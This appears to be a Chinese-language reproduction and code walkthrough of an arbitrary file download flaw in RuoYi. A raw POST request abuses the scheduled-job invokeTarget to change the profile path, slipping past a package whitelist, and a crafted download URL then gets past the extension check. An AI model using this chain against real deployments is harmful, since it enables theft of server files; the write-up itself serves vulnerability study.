0x01 步骤
0x01 步骤
1.新增定时任务
2.执行定时任务
3.调用下载文件接口
简单复现 debug跟进下 勿喷 不详细 勿喷 佬们
0x02 定时任务
首先创建定时任务
POST /monitor/job/edit HTTP/1.1
Host: 192.168.31.28
Content-Length: 235
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5630.205 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.31.28
Referer: http://192.168.31.28/monitor/job/edit/1
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: JSESSIONID=a650d1b5-f3db-482b-9e8b-8f94074d2828
dnt: 1
Connection: close
jobId=1&updateBy=admin&jobName=%E7%B3%BB%E7%BB%9F%E9%BB%98%E8%AE%A4%EF%BC%88%E6%97%A0%E5%8F%82%EF%BC%89&jobGroup=DEFAULT&invokeTarget=ruoyiConfig.setProfile('/Users/macpro/Desktop/123.txt)&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=3&concurrent=1&status=0&remark=
0x02-01 代码跟进
monitor/job/edit 接口
可以看到 如上代码都绕过了 进入whiteList,检查包名是否为白名单配置
跟进StringUtils.containsAnyIgnoreCase(obj.getClass().getPackage().getName(), Constants.JOB_WHITELIST_STR)
原来这里检查的是 ruoyiConfig的包名是否存在顶级包名 com.ruoyi,成功绕过 返回为true,将数据保存到数据库中。
0x03 执行定时任务
接口 monitor/job/run
0x03-01 代码跟进
进入serviceimpl
查看通过jobId查询到 刚刚保存到数据的数据了 主要看 这里有个 scheduler.triggerJob(jobKey, dataMap);方法
跟进到 QuartzScheduler 具体去创建的 Quartz 触发器对象
newTrigger():创建一个新的触发器对象。
withIdentity(newTriggerId(), Scheduler.DEFAULT_GROUP):指定触发器的 ID 和 Group(组)。
forJob(jobKey):指定触发器要绑定的 Job(任务)。
build():创建并返回新的触发器对象。
这里使用了 OperableTrigger 类型的对象来接收返回的触发器对象,该类是 Quartz 触发器的一个实现类,它可以操作和控制触发器的执行行为。jobKey 是一个 JobKey 类型的参数,代表了要关联的任务的标识和组名。
综合来说,这行代码的意义是创建一个新的 Quartz 触发器对象,并将它绑定到指定的任务上,以便在需要执行该任务时触发它。
最后 通知 Quartz Scheduler 的线程,在触发器的下一次触发时间到达时运行任务。
通知 Quartz Scheduler 监听器,触发器已创建
0x04 执行任意文件下载
首先这里 ruoyiConfig.setProfile('/Users/macpro/Desktop/123.txt)
修改的就是 配置文件中的 通过定时任务创建的触发器去执行 修改 内存中的profile值
访问 http://192.168.31.28/common/download/resource?resource=jbruoyi:.png
0x04-01 代码跟进
接口 common/download/resource
跟进 checkAllowDownload
可以看到 检查我们的文件 是否在白名单中存在
获取文件类型 可以看到 获取的是最后一个点后的 类型 正好存在于白名单中 这样就绕过了 检测
这一步就是刚刚在定时任务里修改的值的地址
最终就是读取文件目录 然后 下载到本地